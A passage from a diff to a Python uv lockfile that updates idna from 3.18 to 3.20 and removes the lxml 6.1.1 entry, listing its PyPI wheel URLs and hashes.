"2024-12-06T15:37:21.509Z" }, -] - [[package]] name = "identify" version = "2.6.16" @@ -1280,11 +1062,11 @@ wheels = [ [[package]] name = "idna" -version = "3.18" +version = "3.20" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, + { url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" }, ] [[package]] @@ -1342,124 +1124,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/c8/22/9460e311f340cb62d26a38c419b1381b8593b0bb6b5d1f056938b086d362/lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa", size = 13564, upload-time = "2015-11-25T18:29:51.462Z" }, ] -[[package]] -name = "lxml" -version = "6.1.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" }, - { url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" }, - { url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" }, - { url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" }, - { url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" }, - { url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" }, - { url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" }, - { url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" }, - { url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" }, - { url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" }, - { url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" }, - { url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" }, - { url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" }, - { url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" }, - { url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" }, - { url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" }, - { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, - { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, - { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, - { url = "https://files.pythonhosted.org/packages/4c/77/1bc7eeb0de4577d783fb625aa092cc9357883bba35845a3666bf1259f3dc/lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a", size = 5067921, upload-time = "2026-05-18T19:17:49.175Z" }, - { url = "https://files.pythonhosted.org/packages/1b/3c/c0690d74bd2bc17bc03b5b0d093569ead597dd0bfa088bf99eef8c24e19c/lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d", size = 5002456, upload-time = "2026-05-18T19:17:59.715Z" }, - { url = "https://files.pythonhosted.org/packages/66/8d/d1b3271af0c0f1e27e8472a849e4d2c65bc7766884b9ad2da9e76e145c88/lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8", size = 5202776, upload-time = "2026-05-18T19:18:08.924Z" }, - { url = "https://files.pythonhosted.org/packages/7a/45/689824ffb237fd10125ad273f32b28ff04dc6203c2822c85ff65a93df65e/lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009", size = 5329945, upload-time = "2026-05-18T19:18:13.673Z" }, - { url = "https://files.pythonhosted.org/packages/5d/c0/ef73af53767e958fd87d437c170f272e2f6e6c0f854939f133a895f1e711/lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6", size = 4659237, upload-time = "2026-05-18T19:18:18.657Z" }, - { url = "https://files.pythonhosted.org/packages/a0/5e/e1158e40397585e91cb0472374a1f63d0926a1ddeaa92f13d1a1ffe306d5/lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8", size = 5265904, upload-time = "2026-05-18T19:18:24.883Z" }, - { url = "https://files.pythonhosted.org/packages/a0/16/8687e5d1400ed1c0bc41dace232ebb7553952b618ea1f2e5fb6e2cfbbe23/lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83", size = 5045225, upload-time = "2026-05-18T19:17:20.073Z" }, - { url = "https://files.pythonhosted.org/packages/ca/18/d877bd1ae2e5ffdfd4836565aba350db31feb2f2656d6ce70316ed66a05e/lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6", size = 4712721, upload-time = "2026-05-18T19:17:40.512Z" }, - { url = "https://files.pythonhosted.org/packages/44/4d/1f44fd1d770b10dacbf6b5c6e520f4d6e0708744930f719dc04e67cab981/lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c", size = 5252549, upload-time = "2026-05-18T19:17:51.236Z" }, - { url = "https://files.pythonhosted.org/packages/64/5d/1d66b84f850089254c230ef6ea6b267a5a54e2e179a5d960036a05d501d7/lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08", size = 5226877, upload-time = "2026-05-18T19:18:00.875Z" }, - { url = "https://files.pythonhosted.org/packages/ad/00/84c4b5302d42a2d0184f38d538c8a197f33b52a50bd4f7bcfe990bce3036/lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621", size = 3594072, upload-time = "2026-05-18T19:17:12.714Z" }, - { url = "https://files.pythonhosted.org/packages/61/9d/2e2f7d876349f45e0f3e29f72da311668853d59b58d473a2dea4f0160135/lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28", size = 4025469, upload-time = "2026-05-18T19:17:50.566Z" }, - { url = "https://files.pythonhosted.org/packages/b0/d5/570e6390e4110331e6208b2ba83d1482cc9146808ee118b22824a34c1070/lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b", size = 3667640, upload-time = "2026-05-19T19:22:48.293Z" }, - { url = "https://files.pythonhosted.org/packages/6a/6e/c4add832b6fc1e887125b96f880d7b9b70aae5248718e046b1704bcac4b9/lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7", size = 8570821, upload-time = "2026-05-18T19:17:42.068Z" }, - { url = "https://files.pythonhosted.org/packages/22/00/ff3009c88e65de8011630acf8ab5a09cb2becd2aaf47fba2f3449f6224e9/lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1", size = 4624252, upload-time = "2026-05-18T19:17:47.897Z" }, - { url = "https://files.pythonhosted.org/packages/42/95/bb63f0fd62e554fe078e1fb3c8fe9083c14ddc7ad7fa178d10e57e071ac7/lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc", size = 4930746, upload-time = "2026-05-18T19:18:29.637Z" }, - { url = "https://files.pythonhosted.org/packages/eb/99/0013e8d9b5960f4f041cf0b73e2f80c23eb5205b1f7bfb20203243651359/lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc", size = 5093723, upload-time = "2026-05-18T19:18:34.168Z" }, - { url = "https://files.pythonhosted.org/packages/29/91/317b332636bfc7bddcff828d41b3307f50043f4b237e40849c333d80fa1a/lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383", size = 5005557, upload-time = "2026-05-18T19:18:39.798Z" }, - { url = "https://files.pythonhosted.org/packages/42/2f/cc9bf06afe70f9c9093ae60855d9759da9db601ec4080f7473319666ffd7/lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b", size = 5631036, upload-time = "2026-05-18T19:18:44.858Z" }, - { url = "https://files.pythonhosted.org/packages/08/f6/af32e23e563971ffb0fb86be52bc5be5c2c118858ffc119bf6a9039b173d/lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818", size = 5240367, upload-time = "2026-05-18T19:18:49.217Z" }, - { url = "https://files.pythonhosted.org/packages/78/83/8555d40948b09ce86f1bd0c68a7ac31d07b1929f92cc1b074006c97ef2d2/lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740", size = 5350171, upload-time = "2026-05-18T19:18:52.779Z" }, - { url = "https://files.pythonhosted.org/packages/63/75/5d92da93729b7bad783689e6496049fa40927b45bec7bf183c981de3ca70/lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f", size = 4694874, upload-time = "2026-05-18T19:18:55.139Z" }, - { url = "https://files.pythonhosted.org/packages/c5/b5/3aad415a9a25b822e783f15deeb4dffccf5113030f1afa2222dd929313d9/lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2", size = 5244492, upload-time = "2026-05-18T19:19:01.28Z" }, - { url = "https://files.pythonhosted.org/packages/f1/a1/5fcf7eb9904b80086aa47dcf0027de07b1bb990afad2e6823144c368ae04/lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635", size = 5048232, upload-time = "2026-05-18T19:18:12.67Z" }, - { url = "https://files.pythonhosted.org/packages/77/74/1f601b63c7a69fcdf10fa9b148c81da8442204194f6c55509cc485c786b9/lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf", size = 4777023, upload-time = "2026-05-18T19:18:15.928Z" }, - { url = "https://files.pythonhosted.org/packages/a2/b9/7a78f51aec95b1bf780d78e12705a9f6533284f8693dc5c0e6724fa53d3f/lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc", size = 5645773, upload-time = "2026-05-18T19:18:23.223Z" }, - { url = "https://files.pythonhosted.org/packages/a5/6e/98a7b7ad54e4e74fa1f20fff776913980619d0ebe5558232d7da6580bdd8/lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955", size = 5233088, upload-time = "2026-05-18T19:18:31.433Z" }, - { url = "https://files.pythonhosted.org/packages/65/d1/bc0ed2427bf609f2ee10da303a6a226f9c8bce94f945dc29a32ce55de6e4/lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a", size = 5260995, upload-time = "2026-05-18T19:18:37.091Z" }, - { url = "https://files.pythonhosted.org/packages/69/8b/6772e1a4b513fc50a8d931f19edde0e13ae6918510a1e13ff67864f3e5ed/lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a", size = 3596382, upload-time = "2026-05-18T19:17:18.37Z" }, - { url = "https://files.pythonhosted.org/packages/1b/89/45198e9624762af2dfd2cb8782598477ceb29f6e59caab560388ae1f4ec1/lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77", size = 3997255, upload-time = "2026-05-18T19:17:56.781Z" }, - { url = "https://files.pythonhosted.org/packages/90/a9/7a54b6834088d9ae528a7b780584ba6a39a9457b0ac330479f20ffbc9449/lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f", size = 3659610, upload-time = "2026-05-19T19:22:50.843Z" }, - { url = "https://files.pythonhosted.org/packages/a5/eb/7e6f37c5584ccbb2ff267f56fd0339016938c1c8684cfefab9b33ffc2f36/lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736", size = 8559780, upload-time = "2026-05-18T19:17:57.661Z" }, - { url = "https://files.pythonhosted.org/packages/a1/36/587c2521cf23a2cd6c9c22108aa7528f683a1f195ed7ccd23a4b1786ad36/lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9", size = 4618006, upload-time = "2026-05-18T19:18:04.452Z" }, - { url = "https://files.pythonhosted.org/packages/6e/ca/ab7bfe2bf4c972af5e7878262845ead3a24a929a9b04bc11c7c1ece6c82a/lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354", size = 4924139, upload-time = "2026-05-18T19:19:04.873Z" }, - { url = "https://files.pythonhosted.org/packages/6b/55/a0c72851dfee5ecc689f949723a73dea457758912542cb955b108eaf0d8f/lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca", size = 5082329, upload-time = "2026-05-18T19:19:09.728Z" }, - { url = "https://files.pythonhosted.org/packages/f0/b6/0608f7d61a3b96cc67e5648a3d906e31a5082093e10e7be65b3886289938/lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099", size = 4993564, upload-time = "2026-05-18T19:19:13.608Z" }, - { url = "https://files.pythonhosted.org/packages/4c/66/ae227524b066d29d55bf0b453d93d2d793c40218657d643dcbbca13b8faf/lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6", size = 5613467, upload-time = "2026-05-18T19:19:16.228Z" }, - { url = "https://files.pythonhosted.org/packages/a6/76/dbe4a00b50385e40194231dcfe5a12c059de7cf90e89c83407d2b085b719/lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085", size = 5228304, upload-time = "2026-05-18T19:19:19.354Z" }, - { url = "https://files.pythonhosted.org/packages/1c/01/00b1b8442ed2041793336868ba0b9ea4b13d7da7c085c6404c207a63bf79/lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e", size = 5341607, upload-time = "2026-05-18T19:19:22.297Z" }, - { url = "https://files.pythonhosted.org/packages/63/36/1ad29931e9a4638bb707869f01d423a6c815f82152138d1a40dfcfde2b95/lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f", size = 4700168, upload-time = "2026-05-18T19:19:25.133Z" }, - { url = "https://files.pythonhosted.org/packages/3c/d1/a9536cecf9be18a0dc72d32bead283a2332d1ffebd2dd3ac70ce444686e5/lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c", size = 5232487, upload-time = "2026-05-18T19:19:28.603Z" }, - { url = "https://files.pythonhosted.org/packages/0e/77/b4fb1e03bf5d130e879214d3100092e386418807fb74dd0adc4b0a48f351/lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b", size = 5044231, upload-time = "2026-05-18T19:18:42.246Z" }, - { url = "https://files.pythonhosted.org/packages/26/4c/d00daeeb0a5530c4028a9232aa1b93db3ef4ed2158c116ea73c79a9765b3/lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2", size = 4769450, upload-time = "2026-05-18T19:18:48.013Z" }, - { url = "https://files.pythonhosted.org/packages/ed/6a/715a3a8d156ce42f29cf014706f5410c2ff3b02267774110fc23266409fe/lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5", size = 5635874, upload-time = "2026-05-18T19:18:51.914Z" }, - { url = "https://files.pythonhosted.org/packages/45/37/0544bc21dde2a88f3a17b504e6fc79c0e01d25a33c2f6079724e9e72b9c7/lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785", size = 5223987, upload-time = "2026-05-18T19:18:59.715Z" }, - { url = "https://files.pythonhosted.org/packages/4d/f8/f6a5e8185bcb28c2befae3d31f8e3df3b811cb0f47746517a81279fcafe1/lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947", size = 5250276, upload-time = "2026-05-18T19:19:03.834Z" }, - { url = "https://files.pythonhosted.org/packages/c7/f2/1a2b9f1b7a49d45495369be7ef9ad05b262930f2eab3e3145706fca8083f/lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca", size = 3596903, upload-time = "2026-05-18T19:17:29.863Z" }, - { url = "https://files.pythonhosted.org/packages/e6/99/f4ffb024f238eec2131aaa09f3278fb6129cf892741bf68e1fc1afb8c100/lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660", size = 3995869, upload-time = "2026-05-18T19:18:02.596Z" }, - { url = "https://files.pythonhosted.org/packages/d1/53/70eb8c5c6037f27448f1e3c54ebede9545a801ae63f0a7254afca4fe8e45/lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc", size = 3658490, upload-time = "2026-05-19T19:22:53.846Z" }, - { url = "https://files.pythonhosted.org/packages/13/e2/2e325795566de01d0d7c3bb57d3c370616b2d07b01214e84eec5d3b10963/lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0", size = 8577146, upload-time = "2026-05-18T19:18:17.765Z" }, - { url = "https://files.pythonhosted.org/packages/93/cf/5630b5e4be7d2e6bee8efe83865c925221103cf0221303b104ce134b01e2/lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840", size = 4623866, upload-time = "2026-05-18T19:18:30.669Z" }, - { url = "https://files.pythonhosted.org/packages/d2/51/3904907c063451cf8d4a5c9fe0cad95fa1f4ec57f4e3884fa0731bd7a305/lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14", size = 4950022, upload-time = "2026-05-18T19:19:31.958Z" }, - { url = "https://files.pythonhosted.org/packages/94/cd/9c7611a51c37a2830928405817cc5d56a97f64fab83cc3f628748b135749/lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909", size = 5086695, upload-time = "2026-05-18T19:19:34.764Z" }, - { url = "https://files.pythonhosted.org/packages/da/d6/24e3b5906abb0b674ff2ae195bc3ce59708df2bcd17cf17703b2d7dd643a/lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00", size = 5031642, upload-time = "2026-05-18T19:19:37.771Z" }, - { url = "https://files.pythonhosted.org/packages/2d/db/6ec54f99019838bff54785c51da07f189eb4676861c5f2730962b0d8d665/lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = 